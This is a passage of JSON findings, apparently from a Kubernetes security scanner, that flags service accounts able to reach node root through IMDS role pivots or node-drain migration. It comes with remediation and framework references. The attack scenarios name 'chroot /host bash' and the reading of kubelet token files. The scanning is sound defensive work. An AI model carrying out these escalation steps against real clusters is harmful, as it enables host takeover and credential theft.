        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/containersec-fixtures/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/containersec-fixtures/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/containersec-fixtures/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/containersec-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/containersec-fixtures/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/containersec-fixtures/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/containersec-fixtures/default`.",
      "Acting as `ServiceAccount/containersec-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "containersec-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/csr-fixtures/sa-csr-mint:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-mint` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-mint` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-mint` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/csr-fixtures/sa-csr-mint` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/csr-fixtures/sa-csr-sign:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-sign` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-sign` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/csr-fixtures/sa-csr-sign` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-sign` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/csr-fixtures/sa-csr-sign` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/csr-fixtures/sa-csr-sign`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-sign`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-sign",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/cutres/cutres-detour:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-detour` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-detour` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cutres/cutres-detour` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-detour` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-detour` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cutres/cutres-detour`.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/cutres/cutres-parallel:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-parallel` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-parallel` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cutres/cutres-parallel` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-parallel` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-parallel` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cutres/cutres-parallel`.",
      "Acting as `ServiceAccount/cutres/cutres-parallel`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
